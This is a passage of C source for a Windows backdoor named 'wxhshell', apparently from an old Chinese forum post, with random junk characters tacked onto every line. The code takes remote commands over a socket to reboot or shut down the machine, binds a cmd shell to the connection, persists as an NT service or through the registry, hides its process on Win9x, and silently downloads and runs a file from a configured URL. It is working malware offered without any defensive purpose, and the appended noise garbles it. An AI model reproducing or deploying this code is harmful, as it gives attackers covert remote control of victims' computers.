    switch(cmd[0]) { ?"^{:~\N  
  lSBR(a<\y  
  // 帮助 p_ f<@WE  
  case '?': { '<xE 0<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yZ[=Y  
    break; rHM^_sYRb  
  } GXIzAB(  
  // 安装 &2U%/JqY  
  case 'i': {  WzoI0E`  
    if(Install()) pF7N = mO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b;{"@b,Y  
    else Zk/ejhy0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s7HKgj  
    break; C/QmtT~`e  
    } t|V<K^  
  // 卸载 &AOGg\  
  case 'r': { :8]8[  
    if(Uninstall()) }*U|^$FEU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YU"/p|!1  
    else I 44]W&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i]N<xcF9N*  
    break; w@&z0ODJ  
    } I`*5z;Q!%@  
  // 显示 wxhshell 所在路径 S0Io$\ha  
  case 'p': { kz1#"8Zd!  
    char svExeFile[MAX_PATH]; /a<UKh:A[  
    strcpy(svExeFile,"\n\r"); U<Tv<7`  
      strcat(svExeFile,ExeFile); M.6uWwzQR  
        send(wsh,svExeFile,strlen(svExeFile),0); -KV,l  
    break; @0s' (  
    } _"Z?O)d*  
  // 重启 NuSdN> 8ll  
  case 'b': { G<=I\T'g;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y<u%J#'[  
    if(Boot(REBOOT)) /Jc{aw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8nu!5 3  
    else { Pc=ei  
    closesocket(wsh); FwlD P  
    ExitThread(0); 8'L:D  
    } bhGRD{=  
    break; CQNMCYjg(R  
    } jL8A_'3B  
  // 关机 Z5n-3h!+ED  
  case 'd': { w|]Tt="   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *;9H\%  
    if(Boot(SHUTDOWN)) -3i(N.)<;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $~G5s<r  
    else { Xz^k.4 Y{4  
    closesocket(wsh); iN. GC^l  
    ExitThread(0); 5I,NvHD4  
    } tM;cvc`/  
    break; A_\Jb}J1<  
    } xGQP*nZ  
  // 获取shell W4&8  
  case 's': { k}F7Jw#.  
    CmdShell(wsh); `,xO~_ e>  
    closesocket(wsh); 'G~i;o  2  
    ExitThread(0); -3mIdZ  
    break; v@OELJX  
  } 7Y[ q)lv  
  // 退出 C4$P#DZT^  
  case 'x': { B* mZxY1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ahl&2f\  
    CloseIt(wsh); OblHN*  
    break; ;l _b.z0^6  
    } 6WQN !H8+^  
  // 离开 z[1uub,)1  
  case 'q': { :d9GkC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ; M0`8MD  
    closesocket(wsh); ,hu@V\SKv  
    WSACleanup(); HZ%V>88  
    exit(1); wkGr}  
    break; Iy49o!  
        } %6 Av1cv  
  } s|H7;.3gp  
  } Pe,ky>ow  
TK18U*z7J  
  // 提示信息 'g,_lF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gJX"4]Ol#}  
} XJPIAN~l  
  } & ;.rPU  
lY"l6.c  
  return; U`=r .>  
} j@(S7=^C6%  
5hy7} *dR  
// shell模块句柄 NZv8#  
int CmdShell(SOCKET sock) |v%$Q/zp&  
{ ;"0bVs`.^e  
STARTUPINFO si; *X$qgSW  
ZeroMemory(&si,sizeof(si)); >QvqH 2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1Z)P.9c  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hWbu Z%  
PROCESS_INFORMATION ProcessInfo; {22ey`@`h  
char cmdline[]="cmd"; y\;oZ]J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^i#0aq2}  
  return 0; #*qV kPX  
} 6Aqv*<1=62  
-XL? n/M  
// 自身启动模式 =23B9WT   
int StartFromService(void) &odQ&%X  
{ Zf}2c8Vc4  
typedef struct W|@SXO)DY  
{ 72xf| s=  
  DWORD ExitStatus; g]HWaFjc5  
  DWORD PebBaseAddress; T88$sD.2 '  
  DWORD AffinityMask; 4 qsct@K,  
  DWORD BasePriority; r9u'+$vmF  
  ULONG UniqueProcessId; 5JVBDA^#om  
  ULONG InheritedFromUniqueProcessId; guYP|  
}   PROCESS_BASIC_INFORMATION; -M6vg4gf  
EiC["M'}  
PROCNTQSIP NtQueryInformationProcess; g]HxPq+O  
]kmAN65c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D$)F X(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "?6*W"N9  
m`fdf>gWp  
  HANDLE             hProcess; G@D;_$a  
  PROCESS_BASIC_INFORMATION pbi; eWm'eO  
<:/aiX8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v"(6rZsa  
  if(NULL == hInst ) return 0; #S/~1{   
hlV(jz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p+b9D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~I> |f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W`_Wi*z4  
um]*nXIr  
  if (!NtQueryInformationProcess) return 0; 1_LKqBgo  
[= E=H*j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vFJ4`Gjw(  
  if(!hProcess) return 0; HI D6h!  
 8q9 ^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `_Iyr3HAf  
1@~%LV  
  CloseHandle(hProcess); 8i`T?KB  
:%mls Nw  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7YTO{E6]d\  
if(hProcess==NULL) return 0; TTj] _R{n  
Q_,!(N  
HMODULE hMod; L!33`xef'  
char procName[255]; [*) 2Ou  
unsigned long cbNeeded; 4jZt0  
jzDPn<WQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Lp$&eROFVs  
*B&i`tq  
  CloseHandle(hProcess); N/{=j  
MJe/ \  
if(strstr(procName,"services")) return 1; // 以服务启动 ?cz7s28a  
rS\mFt X  
  return 0; // 注册表启动 8sDw:wTC  
} X%*BiI  
fvTp9T\f3  
// 主模块 ~rOvVi&4  
int StartWxhshell(LPSTR lpCmdLine) e'npa*.e  
{ GPs4:CIgG  
  SOCKET wsl; Rb b[N#p5  
BOOL val=TRUE; u5qaLHoEP  
  int port=0; su\Lxv  
  struct sockaddr_in door; Aj\m57e,6  
QxEmuiN  
  if(wscfg.ws_autoins) Install(); O&.gc p!  
tJ d/u QJ  
port=atoi(lpCmdLine); ri"=)]  
x51p'bNy  
if(port<=0) port=wscfg.ws_port; !_o1;GzK  
2V9"{F?  
  WSADATA data; !h1|B7N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =hh,yi  
@&G %cW(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :8)3t! A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ezJ^ r,D|  
  door.sin_family = AF_INET; wjID*s[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9WoTo ,q  
  door.sin_port = htons(port); J{uqbrJICr  
,5*<C'9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R<h:>.M  
closesocket(wsl); "wV7PSbM  
return 1; uZ1G,9  
} "[L+LPET  
=%FhY^-  
  if(listen(wsl,2) == INVALID_SOCKET) { _3KfY  
closesocket(wsl); ,+n{xI2  
return 1; 5iItgVTW  
} = p2AK\  
  Wxhshell(wsl); C0e oV}  
  WSACleanup(); { zalB" i  
bq5?fPBrq  
return 0; x*^)B~7}  
1G,'  
} A sf]sU..  
kafj?F  
// 以NT服务方式启动 tN;~.\TKg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [ dVRVm0N  
{ m<4tH5 };d  
DWORD   status = 0; U3>ES"N  
  DWORD   specificError = 0xfffffff; .a]av   
'! ;Xxe5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5Obv/C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \xZ6+xZd1  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t_X=x`f  
  serviceStatus.dwWin32ExitCode     = 0; F,GG>(6c  
  serviceStatus.dwServiceSpecificExitCode = 0; a=^>A1=  
  serviceStatus.dwCheckPoint       = 0; h7\16j  
  serviceStatus.dwWaitHint       = 0; pvqbk2BO  
Q@l.p-:^U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +r =p ,leb  
  if (hServiceStatusHandle==0) return; g9gyx/'*  
Bd13p_V"6  
status = GetLastError(); j=b-Y  
  if (status!=NO_ERROR) RjR  
{ r<kqs,-~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~rz%TDX0\  
    serviceStatus.dwCheckPoint       = 0; \9.@T g8`  
    serviceStatus.dwWaitHint       = 0; v.H@Ey2  
    serviceStatus.dwWin32ExitCode     = status; hKK"D:?PRs  
    serviceStatus.dwServiceSpecificExitCode = specificError; o:/yme G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fJG!TQJ[Y  
    return; z"@UNypc,  
  } ~c GH+M@  
M*jn8OE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1QuR7p  
  serviceStatus.dwCheckPoint       = 0; v|r#  
  serviceStatus.dwWaitHint       = 0; klC48l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2`/p V0  
} EtvYIfemr  
^pa -2Ao6  
// 处理NT服务事件,比如:启动、停止 K06&.>v_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e#uF?v]O  
{ |S VL%agZ  
switch(fdwControl) RT=(vq @  
{ L/J)OJe\  
case SERVICE_CONTROL_STOP: D~<0CQ3n.  
  serviceStatus.dwWin32ExitCode = 0; }%eXGdC  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w w{07g  
  serviceStatus.dwCheckPoint   = 0; iX'#~eK*<  
  serviceStatus.dwWaitHint     = 0; Rlf#)4  
  { *[['X%f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }#f~"-O  
  } baM@HpMhM  
  return; /3v`2=b  
case SERVICE_CONTROL_PAUSE: L[:b\ O/p,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3/((7O[  
  break; < G:G/  
case SERVICE_CONTROL_CONTINUE: 0j|JyS:}G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @460r  
  break; Gl>_C@n0h  
case SERVICE_CONTROL_INTERROGATE: !tofO|E5  
  break; .Cf`D tK  
}; nqyB,vv0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H#j Z'I  
} vwQ6=  
7~Md6.FtM  
// 标准应用程序主函数 4~/3MG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T]Eg9Y:+v  
{ Tj*Vk $}0  
t1tZ:4  
// 获取操作系统版本 o@0p  
OsIsNt=GetOsVer(); 4ky@rcD1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R k).D 6  
9AdA|/WV  
  // 从命令行安装 g>O O '}lF  
  if(strpbrk(lpCmdLine,"iI")) Install(); o}K!p %5_  
S+(-k0  
  // 下载执行文件 Od:, r  
if(wscfg.ws_downexe) { #\fxU:z~r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V ZArdXTP  
  WinExec(wscfg.ws_filenam,SW_HIDE); f'<MDLl  
} VBK9te,A  
9 nPc>O$  
if(!OsIsNt) { kMLWF  
// 如果时win9x,隐藏进程并且设置为注册表启动 \.<V~d?  
HideProc(); 564)ha/^(  
StartWxhshell(lpCmdLine); YAf`Fnmw  
} x7]Yn'^'  
else &*#- %<=1  
  if(StartFromService()) ! uyC$8V*l  
  // 以服务方式启动 AGxG*KuZ  
  StartServiceCtrlDispatcher(DispatchTable); #2023Zo]  
else wfxg@<WR  
  // 普通方式启动 Z>H y+Q4  
  StartWxhshell(lpCmdLine); .3.oan*i  
gf8DhiB  
return 0; ESl</"<J  
}
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只看该作者 1 发表于: 2006-10-10
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